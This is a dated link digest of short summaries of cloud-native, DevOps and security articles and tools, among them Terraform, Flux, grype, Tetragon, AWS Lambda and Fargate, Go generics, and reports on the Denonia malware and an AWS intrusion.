    • Workflow: Clone the policy library, add constraints under policies/constraints, generate a Terraform plan as JSON, then run the vet step.
    • Use cases: Platform teams gate CI between plan and apply, developers check locally, and security teams keep one central policy library.

    Takeaway: Put the vet step between terraform plan and apply in GCP pipelines so policy violations fail early with a clear message.

  • Flux from End-to-End
    summary

    TL;DR: Flux documentation that follows a commit through every Flux component in order, written partly as a starting point for security auditors.

    • Components: Source, Kustomize, Helm and Notification controllers, plus Image Reflector and Image Automation controllers.
    • Approach: Assumes a full installation with all optional features and describes each point where Flux talks to the cluster, Git, registries or external systems.
    • Terminology: Defines cluster, commit, resource, custom resource (GitRepository, Kustomization, HelmRelease and others), agent and service.
    • Updated: The page now says it was updated for Flux v2.7 and covers ArtifactGenerator for monorepo decomposition and composing Helm charts from multiple sources.
    • Limits: Not a full operational guide; it links out to feature docs.

    Takeaway: Read it to understand Flux’s data flow and trust boundaries before a security review or when debugging why a commit has not reconciled.

  • forgit: Utility Tool Powered by fzf for Using Git Interactively
    summary

    TL;DR: forgit is a shell plugin by wfxr that wraps common git commands in interactive fzf pickers.

    • Core commands: ga for interactive add, glo for the log viewer, gd for the diff viewer and gi for a .gitignore generator.
    • More commands: grh (reset HEAD file), gcf/gcb/gsw (checkout file or branch, switch), gbd (delete branch), gss/gsp (stash), grc (revert), gcp (cherry-pick) and others.
    • Shells: Plugin files for bash/zsh (forgit.plugin.sh, forgit.plugin.zsh), with a fish setup in conf.d.
    • Dependency: Requires junegunn/fzf.

    Takeaway: A low-friction upgrade to daily git use if you already have fzf, especially for staging hunks and browsing logs.

  • grype: Vulnerability Scanner for Container Images and Filesystems
    summary

    TL;DR: Grype, from Anchore, is an Apache-2.0 vulnerability scanner for container images, filesystems and SBOMs.

    • Targets: Docker, OCI and Singularity images, directories, and SBOMs such as grype sbom:./sbom.json or input piped from Syft.
    • Ecosystems: OS packages (Alpine, Debian, Ubuntu, RHEL, Oracle Linux, Amazon Linux) and language packages (Ruby, Java, JavaScript, Python, .NET, Go, PHP, Rust).
    • Prioritization: EPSS, KEV and risk scoring; OpenVEX support for filtering results.
    • Usage: grype alpine:latest, grype ./my-project, or grype --from containers-storage ... on Linux for Podman or Buildah images.
    • Install: curl -sSfL https://get.anchore.io/grype | sudo sh -s -- -b /usr/local/bin, or Homebrew, Docker and others.

    Takeaway: Pair it with Syft: generate an SBOM once in CI, then rescan the SBOM quickly as new CVEs appear.

  • Cloud Native Maturity Model 2.0
    summary

    TL;DR: CNCF post (May 18, 2022) by Danielle Cook and Simon Forster announcing version 2.0 of the Cartografos Working Group’s Cloud Native Maturity Model.

    • Model shape: Five maturity levels, each covering people, process, policy and technology, broken out by theme.
    • New section: Business outcomes for CEOs, CFOs and boards, such as “scale to 1 million users”, “deliver exceptional customer experience” and “get features to market faster”.
    • Process: Six months of review with new contributors and with CNCF TAGs, to keep the model current.
    • History: The model was first launched at KubeCon NA 2021, alongside the book “Admiral Bash’s Island Adventure”.

    Takeaway: Use the model to place your organization on the five levels and to explain cloud-native work to business leadership in outcome terms.

  • tetragon: eBPF-Based Security Observability and Runtime Enforcement
    summary

    TL;DR: Tetragon is the Cilium project’s eBPF-based tool for security observability and runtime enforcement on Linux hosts and Kubernetes.

    • Events: Process execution and exit (process_exec, process_exit by default), system call activity, and file and network I/O.
    • Kubernetes-aware: Events are enriched with namespace and pod identity, so detection can be scoped per workload.
    • Generic tracing: process_kprobe, process_tracepoint and process_uprobe events, configured through TracingPolicy resources.
    • Use cases: Network observability, filename access, credential monitoring and privileged execution.
    • Tooling: Install guides for Kubernetes and plain Linux (Docker), plus the tetra CLI. Docs live at tetragon.io.
    • License: Apache 2.0 for user space, with BSD/GPL for eBPF code.

    Takeaway: Worth evaluating as a Falco-style runtime sensor if you already run Cilium. Start with process lifecycle events, then add TracingPolicies for sensitive files.

  • Track Costs with Detailed Billing Reports for Amazon EKS on AWS Fargate
    summary

    TL;DR: AWS Containers blog walkthrough on using AWS Cost and Usage Reports (CUR) to get pod-, namespace- and cluster-level costs for EKS on Fargate.

    • Problem: The billing dashboard only shows total GB-hours and vCPU-hours across all EKS Fargate clusters in a Region.
    • Step 1: Create a Cost and Usage Report that includes resource IDs.
    • Step 2: Store the reports in an S3 bucket, then query them to extract pod-level usage.
    • Use cases: Analyzing rollouts and peak-hour traffic, and allocating cost between teams.
    • Alternative: Mentions third-party tools such as Kubecost as the earlier common approach.

    Takeaway: If you run EKS on Fargate, turn on CUR with resource IDs early, because the native dashboard cannot attribute spend to teams.

  • Automate All the Boring Kubernetes Operations with Python
    summary

    TL;DR: Martin Heinz’s tutorial on automating Kubernetes tasks with the official Kubernetes Python client instead of bash and kubectl.

    • Playground: A KinD cluster with one control-plane node and three workers (kindest/node:v1.23.5).
    • Auth: A long-lived ServiceAccount token, plus a ClusterRole and RoleBinding to grant pod permissions.
    • Under the hood: kubectl get pods -v 10 reveals the raw curl calls, which are then replayed with a Bearer token.
    • Client library: pip install kubernetes, then the same operations through the Python API.
    • Least privilege: Recommends narrow roles and uses cluster-admin only inside the KinD playground.

    Takeaway: When a shell script of kubectl calls grows unwieldy, move it to the Python client. The -v 10 trick shows the exact API calls to reproduce.

  • The Differences Between Docker, containerd, CRI-O and runc
    summary

    TL;DR: Tutorial Works explainer that untangles Docker, containerd, CRI-O, runc, OCI and CRI and shows how they stack.

    • Standards: OCI defines the image format, runtime and distribution; CRI is the Kubernetes API for plugging in container runtimes.
    • Docker stack: The docker CLI talks to dockerd, which calls containerd, which uses runc.
    • runc: The low-level OCI runtime that uses Linux features to create containers; it includes libcontainer.
    • containerd and CRI-O: High-level runtimes that handle images, storage and networking; Kubernetes can use either directly.
    • Context: Prompted by the confusion around the Kubernetes dockershim deprecation; quotes Joe Beda on “so many things called docker”.

    Takeaway: Docker is one developer tool on top of shared standards. Removing dockershim does not break OCI images, which still run on containerd or CRI-O.

  • Announcing the HCL Extension for Visual Studio Code 0.1
    summary

    TL;DR: HashiCorp announcement (May 23, 2022) that it adopted the community HCL extension for VS Code, first written by William Holroyd in 2016, and released it as an official project.

    • Features: HCL v2 syntax highlighting, including grammar for expressions and type constraints; files ending in .hcl are highlighted automatically.
    • Audience: Users of HCL-based products such as Packer and Nomad, alongside Terraform.
    • Relation to Terraform extension: Separate from the Terraform extension and language server; both share TextMate grammars in hashicorp/syntax.
    • Upgrade: Users of the original author’s extension get the HashiCorp version automatically.
    • Source caveat: Direct curl was blocked by a bot check; summary is based on WebFetch of the page.

    Takeaway: Install it if you edit Packer or Nomad HCL in VS Code. It is a highlighter, not a language server.

  • Terraform Best Practices for Better Infrastructure Management
    summary

    TL;DR: Spacelift article (May 15, 2022) by Ioannis Moustakis listing Terraform practices for structuring and running infrastructure code well.

    • State: Use a remote backend with locking, never edit state by hand, and keep backups such as S3 versioning.
    • Reuse: Prefer Terraform Registry and community modules, and import resources that were created by hand.
    • Hygiene: No hard-coded values (use variables or data sources like aws_caller_identity), run terraform fmt and terraform validate in CI or pre-commit, and use consistent naming.
    • Tags and policy: Tag resources consistently (with provider default_tags where available) and enforce rules with policy as code.
    • Secrets: Never commit plaintext; use TF_VAR_ env vars with sensitive = true, or Vault or AWS Secrets Manager.
    • Testing and tools: Use plan, static analysis and integration tests; debug with TF_LOG=DEBUG; tools mentioned include tflint, tfenv, checkov, terratest, terraform-docs and atlantis.
    • Source caveat: medium.com blocked direct fetch; summary is based on a Freedium mirror of the Medium copy, which links to the full post on spacelift.io.

    Takeaway: A solid checklist for reviewing a Terraform repo. Remote state with locking and fmt/validate in CI are the first two to fix.

  • Secure Your Docker Images with Cosign (and OPA Gatekeeper)
    summary

    TL;DR: Justin Polidori’s walkthrough of signing container images with Cosign in a Tekton pipeline and verifying them at admission time with OPA Gatekeeper.

    • Keys: cosign generate-key-pair.
    • Sign: cosign sign --key cosign.key my-registry/my-image:1.0.0; add annotations such as build time or user with -a.
    • Verify: cosign verify --key cosign.pub ... checks claims and signatures against the public key.
    • CI integration: A Tekton ClusterTask that uses gcr.io/projectsigstore/cosign:v1.4.1 to sign the image just before Argo CD deploys it.
    • Enforcement: Gatekeeper blocks pods whose images have a missing or wrong signature.

    Takeaway: Shows the full sign-in-CI, verify-at-admission loop. Check the pinned Cosign version (v1.4.1), since Cosign’s CLI has changed a lot since then.

07.05.2022

  • gh-dash: GitHub CLI Extension to Display a Dashboard of PRs and Issues
    summary

    TL;DR: gh-dash (DASH) is a GitHub CLI extension by Dolev Hadar that gives you a terminal UI dashboard for PRs and issues.

    • Sections: User-defined PR and issue sections, which can be set per repository.
    • Actions: Diff, comment, checkout, push and update from the TUI, plus custom actions.
    • Config: One YAML file controls everything; vim-style hotkeys can be overridden.
    • Stack: Bubble Tea, Lip Gloss, Glamour and Cobra, with gh for GitHub calls and delta for diffs.
    • Adoption: MIT-licensed, about 12.7k stars at the time of fetching; docs at gh-dash.dev.

    Takeaway: A good fit for reviewing many repos from the terminal. Define sections like “needs my review” to replace GitHub notification triage.

  • GitOps Article Series from Giant Swarm
    summary

    (Could not fetch full text.)

    TL;DR: The GitOps topic page of Giant Swarm’s blog, which collects the company’s articles on GitOps for Kubernetes platforms.

    • Current content: The page now shows recent posts, such as a June 2026 series on configuration management at Giant Swarm, edge infrastructure, and Grafana persistence with PostgreSQL.
    • 2022 series: The GitOps article series this link pointed to in 2022 is no longer on the first page.
    • Context: Giant Swarm runs managed Kubernetes platforms; its blog topics include Cluster API, platform engineering and observability.
    • Source caveat: Fetched the live topic index only; the 2022 series it was saved for could not be identified on it.

    Takeaway: Browse the archive for Giant Swarm’s GitOps posts. The configuration-management history series is the most relevant current entry.

  • dagger: Portable Devkit for CI/CD Pipelines
    summary

    TL;DR: Dagger is a programmable engine for building, testing and shipping code that runs the same way locally, in CI or in the cloud.

    • Model: Tools run in containers, orchestrated by sandboxed functions; the only host dependency is a container runtime.
    • SDKs: Eight languages: Go, Python, TypeScript, PHP, Java, .NET, Elixir and Rust, all generated from one API schema.
    • Caching: Every operation is keyed by its inputs, so only affected steps re-run; caching is content-addressed across local and CI runs.
    • Observability: Each operation emits an OpenTelemetry trace that can be viewed in the terminal or a web UI.
    • Changed scope: Linked in 2022 as a “portable devkit for CI/CD”; the current README describes a broader platform with reusable modules and an interactive REPL.
    • Install: brew install dagger/tap/dagger.

    Takeaway: Consider it when CI YAML has become untestable. Pipeline logic in real code that runs locally makes debugging much faster.

  • Automated Dependency Updates for Flux Using Renovate
    summary

    TL;DR: Renovate documentation for its Flux manager, which opens automated PRs to update Flux components and Helm charts referenced in Flux manifests.

    • Default file match: /(?:^|/)gotk-components\.ya?ml$/; extend managerFilePatterns to cover HelmRelease and source files.
    • Datasources: bitbucket-tags, docker, git-refs, git-tags, github-releases, github-tags, gitlab-tags and helm.
    • Dep type: HelmChart from HelmRelease or HelmChart resources, or an OCIRepository that selects a chart layer.
    • Parsing: Reads Flux YAML resources such as HelmRelease and their referenced sources.
    • Page state: The live page also carries notices about Renovate 44’s version numbering.

    Takeaway: Add the Flux manager with file patterns for your HelmRelease directories so chart bumps arrive as reviewable PRs instead of drifting.

  • Terraform: Up & Running, 3rd Edition Early Release Is Now Available
    summary

    TL;DR: Yevgeniy Brikman (Gruntwork) announces the early release of Terraform: Up & Running, 3rd edition (April 7, 2022) and previews the Terraform problems fixed since the 2nd edition.

    • Scale of changes: Six Terraform releases since 2019 (0.13 to 1.2) and AWS provider versions 2.0 to 4.0; about 100 new pages, including two new chapters.
    • Part 1 topics: Multiple regions, accounts and clouds; provider versioning with required_providers and the lock file; secrets management (Vault, KMS and others).
    • More topics: CI/CD security using OIDC and isolated workers, and module iteration with count and for_each on module blocks.
    • Update: A note at the top says the final 3rd edition was published September 28, 2022.
    • Format: The first of a two-part series covering 10 problems in total.

    Takeaway: A useful changelog of Terraform best practices from 2019 to 2022. Get the final 3rd edition rather than the early release.

  • flamingo: Visualize Flux with Argo CD
    summary

    TL;DR: Flamingo, the Flux Subsystem for Argo (FSA), is a drop-in Argo CD image that lets the Argo CD UI show and manage Flux workloads.

    • Mechanism: “Loopback Reconciliation”: with the FluxSubsystem feature enabled, Flamingo converts Argo CD Applications into Flux Kustomization or HelmRelease objects plus sources.
    • Benefits claimed: Flux’s Helm and OCIRepository support and Weave GitOps tools inside the Argo CD UI, plus Argo CD ApplicationSets for Flux-managed resources.
    • Security: Says upstream Argo CD CVEs are backported quickly.
    • CLI: A new Flamingo CLI is announced.
    • Status: The README says the project is looking for sponsorship to continue.

    Takeaway: Useful if your team wants Argo CD’s UI but Flux’s reconciliation. Check its maintenance status before relying on it in production.

  • Announcing AWS Lambda Function URLs: Built-in HTTPS Endpoints for Single-Function Microservices
    summary

    TL;DR: AWS News Blog launch post (2022) for Lambda Function URLs, built-in HTTPS endpoints for single functions that need no API Gateway or ALB.

    • Use cases: Webhook handlers, form validators and other single-function services.
    • Mapping: Each URL is globally unique and points at an alias or the unqualified ARN, which invokes $LATEST.
    • Recommendation: Map URLs to an alias so you can test new versions, shift traffic gradually and deploy safely.
    • CORS: Optional CORS header configuration.
    • Tooling: Available in the console, SDKs, CloudFormation, SAM and other IaC tools.

    Takeaway: Fine for simple endpoints, but read the Wiz post alongside it: choose IAM auth or explicit public access on purpose, and bind URLs to aliases.

  • Cado Discovers Denonia: The First Malware Specifically Targeting Lambda
    summary

    (Could not fetch full text.)

    TL;DR: Cado Security’s April 2022 report on Denonia, described as the first malware built specifically to run in AWS Lambda.

    • Sample: A 64-bit Go ELF named “python”, uploaded to VirusTotal on February 25, 2022; a January sample was also reported.
    • Payload: A customized XMRig Monero miner that runs from memory and uses /tmp, the only writable path in Lambda, and connects to a pool on port 3333.
    • Evasion: Resolves its C2 domain over DNS-over-HTTPS through Google, which avoids plain DNS monitoring.
    • Environment check: Looks for Lambda environment variables but can also run on ordinary Linux.
    • Access vector: Unknown; Cado suspected stolen AWS access keys. AWS said the malware exploits no weakness in Lambda.
    • Source caveat: The URL now redirects to a Darktrace forensics page (Cado was acquired); summary is based on coverage in The Hacker News and TechRepublic found by web search.

    Takeaway: Serverless does not mean safe from malware. Protect Lambda deploy permissions and keys, and watch for unusual DoH or mining traffic.

  • Incident Report: From CLI to Console, Chasing an Attacker in AWS
    summary

    TL;DR: Expel SOC incident report (April 5, 2022) on an attacker who used a leaked long-term access key to escalate through IAM in a customer’s AWS account and was stopped before going further.

    • Initial lead: A CloudTrail-based alert for a console login by an IAM user from Indonesia, an unusual location, without MFA.
    • Escalation: The same IP called CreateUser, CreateAccessKey and AttachUserPolicy to set up persistent admin access, creating two new users with keys.
    • Pivot: The attacker first ran ListUsers from the aws-cli as a different IAM user, showing a second compromised identity.
    • Tooling: Expel’s bot “Ruxie” listed non-read API calls (not Get/List/Describe/Head) and the user’s usual login regions.
    • Telemetry: CloudTrail only; GuardDuty was not enabled.
    • Tip: Console sessions get temporary ASIA... keys, unlike long-term AKIA... keys.

    Takeaway: Alert on IAM user creation, access key creation and policy attachment. Remove long-term access keys and require MFA.

  • container.training: Slides and Code Samples for Docker, Containers and Kubernetes Workshops
    summary

    TL;DR: Jérôme Petazzoni’s repository of slides, scripts and demo apps for Docker, Swarm and Kubernetes workshops, published at container.training.

    • Courses: Introduction to Docker and Containers, Container Orchestration with Docker Swarm, and Container Orchestration with Kubernetes.
    • Design: Assumes little prior knowledge, works in a classroom or self-paced, and is hands-on with progressive chapters.
    • Tooling: Markdown slides built to HTML, a semi-automated test harness for exercises, and scripts to start training VMs in bulk.
    • Hosting: Continuously deployed through Netlify to container.training.
    • History: Formerly “orchestration-workshop”; the Swarm workshop started in June 2015.

    Takeaway: One of the best free, hands-on Kubernetes courses. Use the slides directly, or fork the repo to run your own training.

  • git-credential-manager: Secure, Cross-Platform Git Credential Storage
    summary

    TL;DR: Git Credential Manager (GCM) is a cross-platform .NET Git credential helper that adds secure storage and MFA-capable sign-in for major Git hosts.

    • Hosts: Azure DevOps and Azure DevOps Server, Bitbucket Cloud and Data Center, GitHub and GHES, and GitLab.
    • Versus built-ins: wincred, osxkeychain and libsecret handle only username and password; GCM adds OAuth, Entra with broker support, and Windows Integrated Auth.
    • Platforms: Windows, macOS and Linux on x64 and ARM64; HTTPS remotes only, not SSH.
    • Lineage: Replaces the .NET Framework GCM for Windows and the Java GCM for Mac and Linux.
    • Caveat: Intel Mac support is best effort.

    Takeaway: Use it on HTTPS remotes to avoid storing plain personal access tokens and to get browser-based SSO and MFA.

  • cicd-goat: Deliberately Vulnerable CI/CD Environment for Learning CI/CD Security
    summary

    TL;DR: CI/CD Goat, by Cider Security (later acquired by Palo Alto Networks), is a deliberately vulnerable CI/CD lab with 11 capture-the-flag challenges.

    • Coverage: Maps to the OWASP Top 10 CI/CD Security Risks, such as insufficient flow control, poisoned pipeline execution (PPE), dependency chain abuse and pipeline-based access controls.
    • Stack: Docker containers for Gitea, Jenkins and an agent, GitLab and a runner, LocalStack, a Prod container (Docker-in-Docker with Lighttpd) and CTFd.
    • Run: Download docker-compose.yaml, then docker compose up -d; Windows needs bridge replaced with nat.
    • Theme: Each challenge is an Alice in Wonderland character; flags look like flag2.
    • Spoilers: The repo files contain solutions, so the README warns against browsing them.

    Takeaway: A practical way to teach engineers how pipeline attacks like PPE work. Run it locally in a team workshop.

  • Introducing AWS Blueprints for Crossplane
    summary

    TL;DR: AWS Open Source Blog post introducing AWS Blueprints for Crossplane, reference Compositions for provisioning AWS infrastructure from Kubernetes in a GitOps style.

    • Crossplane: CNCF, Apache-2.0 project that extends the Kubernetes API to provision and manage cloud resources.
    • Compositions: Opinionated templates that enforce organization rules, such as required tags on every AWS resource or specific KMS keys for S3 buckets.
    • Pattern: Git is the source of truth and controllers reconcile the resources it describes.
    • Related: Mentions AWS Controllers for Kubernetes (ACK) as another way to manage AWS resources from Kubernetes.
    • Audience: Platform teams offering self-service infrastructure APIs to application teams.

    Takeaway: Start from these blueprints if you plan Crossplane on AWS, and add your guardrails to the Compositions rather than to each claim.

  • Migrating from Cluster Autoscaler to Karpenter
    summary

    TL;DR: Karpenter’s official guide to replacing the Kubernetes Cluster Autoscaler with Karpenter on an existing EKS cluster.

    • Assumptions: Existing EKS cluster, VPC, subnets, security groups and node groups; PDBs in place; an OIDC provider for service accounts.
    • Variables: Gathers the cluster name, Region, OIDC endpoint, account ID, Kubernetes version and AL2023 AMI alias with aws CLI calls.
    • IAM: Creates a Karpenter node role and a controller role with an inline policy and trust relationship.
    • Goal: Switch automatic node provisioning from Cluster Autoscaler to Karpenter while reusing existing networking.
    • Versioning: The preview URL tracks current Karpenter docs (now AL2023-based), not the 2022 version.

    Takeaway: Follow it step by step for a CAS-to-Karpenter switch. Pin the doc version that matches your Karpenter release.

  • Argo CD Best Practices You Should Know
    summary

    (Could not fetch full text.)

    TL;DR: Datree article (2022) listing Argo best practices to prevent misconfigurations across Argo Workflows, Argo CD and Argo Rollouts.

    • Workflows retries: Reject an empty retryStrategy, which can retry a container until it runs out of memory.
    • Service accounts: Do not run Workflow pods under the default service account, which gives a compromised container access to the Kubernetes API.
    • Scope: About ten items in total; it was republished on opensource.com as “10 Argo CD best practices I follow” and mirrored on learncloudnative.com.
    • Context: Datree was a Kubernetes policy-check tool, and the article ties these checks to its policies.
    • Source caveat: The datree.io page returned no content (the page body is empty now); summary is based on web-search snippets of the article and its republished copies.

    Takeaway: Read the opensource.com copy for the full list, and enforce the rules with any admission or policy tool.

  • Security List: Curated Tools, Tips and Resources for Digital Security and Privacy
    summary

    (Could not fetch full text.)

    TL;DR: Security List is Lissy93’s curated site of tools, tips and resources for personal digital security and privacy.

    • Current state: The page only shows “New version available! digital-defense.io”, so the project has moved.
    • Successor: digital-defense.io hosts the Personal Security Checklist, with lists you can filter by threat model and tick off.
    • Related repo: github.com/Lissy93/personal-security-checklist, which offers the data as YAML, a website, a Docker image and a free API.
    • Source caveat: The old site is a client-side app with a redirect notice; summary is based on that notice and the successor repo’s README.

    Takeaway: Update the bookmark to digital-defense.io and use its threat-model filter rather than reading every list.

  • Android App Hacking Workshop from Google
    summary

    (Could not fetch full text.)

    TL;DR: Google Bug Hunters’ hands-on Android app hacking workshop: slides, materials and a custom vulnerable app with CTF challenges.

    • Origin: Run by Google with HackerOne and PayPal for researchers and students, in person and virtually; announced on the Google Security Blog on Dec 14, 2021.
    • Materials: Slide deck, workshop materials and source code for a custom Android app with capture-the-flag challenges; solutions are available as hints.
    • Later edition: A 240-minute version, “Android App Hacking - Hacking for Good!”, ran at DEF CON 31 (Aug 2023) for beginner-to-intermediate learners and ended with a reverse-engineering CTF.
    • Page note: The page description points to a separate Android learning page for more resources.
    • Source caveat: The page renders client-side and only its meta description was retrievable; details come from the Google Security Blog and DEF CON listings found by web search.

    Takeaway: A good free entry point into Android bug bounty work. Do the CTF app before moving on to real Play Store targets.

  • docker-slim: Generate Smaller Container Images
    summary

    TL;DR: DockerSlim, now renamed SlimToolkit (“Slim”) and a CNCF Sandbox project, makes container images smaller and more secure without changing your Dockerfile.

    • Rename: The docker-slim/docker-slim URL now redirects to slimtoolkit/slim.
    • Claim: Minifies images by up to 30x by analyzing what the application actually uses.
    • Commands: xray, lint, build, debug, run, images, merge, registry and vulnerability.
    • Security profiles: Generates Seccomp and AppArmor profiles automatically.
    • Backing: Created by Kyle Quest; supported by Root.io (formerly Slim.AI), which the README promotes for vulnerability remediation.

    Takeaway: Try slim build on a large image and compare. Test the minified image well, since dynamically loaded files can be stripped out.

  • parca: Continuous Profiling for Analysis of CPU and Memory Usage
    summary

    TL;DR: Parca is an open-source continuous profiler for CPU and memory usage over time, down to the line number, built on an eBPF agent and pprof.

    • eBPF profiler: One agent finds targets from Kubernetes or systemd automatically, needs no instrumentation and has low overhead; supports C, C++, Rust, Go and more.
    • Open formats: Produces and ingests pprof profiles.
    • Storage and query: Keeps raw data, with label-based search to slice and compare profiles by deploy, version or region.
    • Rationale: The README says many organizations waste 20-30% of resources on easily optimized code paths.
    • Use cases: Cost savings, hot-path optimization, and debugging memory leaks or CPU and I/O spikes.

    Takeaway: Run the Parca agent cluster-wide to find your most expensive code paths without changing any application code.

  • How to Get Started with OrgFormation: Managing AWS Organizations
    summary

    TL;DR: Michael Bahr’s guide (Feb 7, 2022) to managing AWS Organizations as code with OrgFormation, presented as a lighter alternative to Control Tower for small setups.

    • Model: Accounts, OUs, budgets, SCPs and SSO defined in YAML (organization.yml plus numbered task folders) and applied by CodePipeline on push.
    • Bootstrap: npm install -g aws-organization-formation, then org-formation init-pipeline --region <region>, which creates a CodeCommit repo and pipeline.
    • Patterns: Account tags such as budget-alarm-threshold drive budget alerts; OrgFormation custom CloudFormation types assign SSO groups.
    • Caveats: Account deletion is slow (7 days before suspension, then about 90 days), Cost Explorer must be launched first, budgets are USD only, and root emails must be unique.
    • Manual steps: Enabling SSO and creating its users and groups stay manual; request an account limit above the default 10 early.
    • URL note: The original URL now shows the blog index; the article lives at /articles/2022-02-07-org-formation.

    Takeaway: A practical path to Organizations as code for small teams. Rehearse in a throwaway organization, because account mistakes are slow to undo.

  • When to Use Generics in Go
    summary

    TL;DR: Ian Lance Taylor’s Go blog post (April 12, 2022) with guidelines on when to use type parameters in Go 1.18, and when not to.

    • First rule: Write Go by writing code, not by defining types. Start with functions and add type parameters later if needed.
    • Good fits: Functions over the built-in container types (slices, maps, channels) that make no assumptions about element types, such as MapKeys[Key comparable, Val any].
    • More good fits: General-purpose data structures, and cases where the same method implementation works for every type.
    • Avoid: Using type parameters when an interface type or a plain method call works, or when implementations differ per type.
    • Basis: Blog version of talks given at Google Open Source Live and GopherCon 2021.

    Takeaway: Reach for generics when you notice yourself writing the same code for several types, not as the first design step.

  • A Deep Dive into Golang for OpenFaaS Functions
    summary

    TL;DR: Alex Ellis’s April 13, 2022 OpenFaaS post comparing the three Go function templates and showing how Go 1.18 improves local development in VS Code.

    • Templates: The classic go template (STDIN/STDOUT plus the Classic Watchdog, kept for historical reasons) and two newer HTTP-based templates he recommends instead.
    • History: The first OpenFaaS, called faas, had no templates: you built a binary and added the watchdog, reachable on port 8080.
    • Go 1.18: The post shows a Go 1.18 feature that improves the VS Code and IDE experience when developing functions locally.
    • Background: Links his GopherCon keynote “Zero to OpenFaaS in 60 months” and the “Dude, where’s my coldstart?” post.

    Takeaway: For new Go functions on OpenFaaS, use one of the HTTP templates rather than the classic go template.

  • Security Overview of AWS Fargate
    summary

    (Could not fetch full text.)

    TL;DR: AWS whitepaper giving a security overview of AWS Fargate, the serverless compute engine for ECS and EKS containers.

    • Isolation: AWS says Fargate tasks moved from a dedicated EC2 VM per task to Firecracker microVMs, keeping kernel-level isolation between tasks.
    • Firecracker: An open-source virtual machine monitor that runs lightweight microVMs with hardware-virtualization isolation and a minimal device model.
    • Topic: Per the title, the paper covers Fargate’s security architecture; its section contents could not be checked.
    • Source caveat: The PDF URL returns an XML error (removed from the CDN) and the whitepaper was not found by search; summary is based on the title and the AWS Open Source Blog post on Firecracker.

    Takeaway: Look for the current Fargate security material in AWS documentation. The key point is that each task gets its own VM-level boundary, unlike shared-node Kubernetes.

  • Where’s My Stuff on GCP?
    summary

    TL;DR: Short post (Feb 28, 2022) by Nick Brandaleone on finding every resource across a GCP organization with Cloud Asset Inventory.

    • Problem: Untracked resources cost money, and in AWS finding them means looping over every region.
    • Tool: Cloud Asset Inventory (released 2018) searches resources globally.
    • Command: gcloud asset search-all-resources --asset-types='storage.googleapis.com/Bucket' --limit 2.
    • Output fields: assetType, createTime, location, project and parent resource.
    • Scale: For large projects, export results to a storage bucket or BigQuery instead of printing everything.
    • Source caveat: medium.com blocked direct fetch; summary is based on a Freedium mirror of the post.

    Takeaway: Run gcloud asset search-all-resources regularly to find forgotten resources, and export the results to BigQuery for real audits.

  • warpgate: Smart SSH Bastion That Works with Any SSH Client
    summary

    TL;DR: Warpgate is a Rust bastion host for SSH, HTTPS, Kubernetes, MySQL, PostgreSQL, RDP and VNC that works with standard clients and records every session.

    • Transparent: Not a jump host; it forwards connections straight to the target and needs no client app or SSH wrapper.
    • Access model: Precise 1:1 assignment of users to hosts and URLs, set up in the DMZ.
    • Auth: Built-in TOTP 2FA, OpenID Connect SSO, temporary access tickets, and brute-force protection with IP blocking and user lockout.
    • Audit: Session recording with live view and replay in the admin web UI; browser-based SSH, RDP and VNC.
    • Packaging: Single binary with no dependencies, written in safe Rust; the README compares it with jump hosts, VPNs and Teleport.

    Takeaway: A lightweight, self-hosted alternative to Teleport when you need recorded, per-user access to a few internal services.

  • Bootstrapping Clusters with EKS Blueprints
    summary

    TL;DR: AWS launch post for EKS Blueprints, open-source IaC modules that build consistent, add-on-ready EKS clusters across accounts and regions.

    • Frameworks: Available for Terraform and for AWS CDK.
    • Add-ons: EKS add-ons plus open-source ones such as Prometheus, Karpenter, NGINX, Traefik, AWS Load Balancer Controller, Fluent Bit, KEDA and Argo CD.
    • Multi-team: Security controls for running several teams’ workloads in one cluster, including network policies and access to the cluster and to AWS resources.
    • Motivation: Assembling a tailored EKS cluster from many tools takes a long time and deep expertise; standardizing a fleet is hard.

    Takeaway: Use Blueprints as a reference for cluster add-ons and team onboarding.

  • Go, Generics, and Concurrency
    summary

    TL;DR: Jon Bodner, author of Learning Go, uses Go 1.18 generics to build a type-safe, reusable async/await-style concurrency helper (post dated April 25, 2022).

    • Problem: Goroutines, channels and select need boilerplate; his example calls two services in parallel and passes their results to a third within 50 ms.
    • Func type: A generic function type taking context.Context and one input and returning one value plus an error; closures adapt other signatures to it.
    • Promise: A generic Promise struct with unexported value and error fields and a done channel; Run launches a function and returns *Promise at once.
    • Tools built: Run any function asynchronously, wait for several to finish, add context cancellation, and chain outputs into inputs.
    • Source caveat: medium.com blocked direct fetch; summary is based on a Freedium mirror of the post.

    Takeaway: A good example of generics simplifying algorithms rather than just containers. Copy the pattern for fan-out/fan-in calls with timeouts.

  • The Go Programming Language and Environment
    summary

    (Could not fetch full text.)

    TL;DR: Communications of the ACM article (May 2022, vol. 65 no. 5, pp. 70-78) by Go’s creators and core team on the history and design of the Go language and its environment.

    • Authors: Russ Cox, Robert Griesemer, Rob Pike, Ian Lance Taylor and Ken Thompson.
    • Timeline: Design work began in late 2007; Go was released as open source in November 2009.
    • Access: DOI 10.1145/3488716; OpenAlex lists it as open access under CC-BY.
    • Source caveat: cacm.acm.org blocked the fetch with a Cloudflare check; summary is based on bibliographic data and mailing-list mentions found by web search, not the article text.

    Takeaway: Worth reading for why Go is shaped as it is. Get it through the DOI if the CACM site blocks you.

12.04.2022

  • Digital Forensics & Incident Response on Kubernetes
    summary

    TL;DR: Sysdig’s practical guide (March 29, 2022, Alberto Pellitteri) to digital forensics and incident response (DFIR) on Kubernetes, with a worked scenario on a compromised pod.

    • Challenge: Ephemeral containers make traditional forensics and post-mortems hard.
    • IR plan phases: Identification, coordination, resolution and improvement.
    • Detection tools: A SIEM (e.g. Elasticsearch), Falco for runtime alerts, Falcosidekick to fan events out, and Prometheus.
    • Forensic tools: Docker Explorer for offline analysis of snapshotted volumes, kube-forensics to save pod artifacts to AWS buckets, and Cloud Forensics Utils.
    • Offensive tooling: Also lists kubesploit for simulating attacks.
    • Scenario: Walks through the events affecting a Kubernetes pod and the response steps.

    Takeaway: Set up evidence capture (Falco alerts to a SIEM, plus a way to snapshot pods) before an incident. Afterwards is too late with ephemeral workloads.

  • difftastic: Diff That Understands Syntax
    summary

    TL;DR: Difftastic, by Wilfred, is a structural diff tool that compares files by their syntax tree instead of line by line.

    • Smarter diffs: Highlights only the syntax that changed, knows when whitespace matters, and handles code reformatted across lines.
    • Languages: Over 30 supported; unknown files fall back to a line diff with word highlighting, as do files with parse errors.
    • Git integration: Works as a git difftool or external diff, and with Mercurial; difftastic.el and a magit setup exist for Emacs.
    • Known issues: Slow and memory-hungry on files with many changes; the side-by-side view can be confusing.
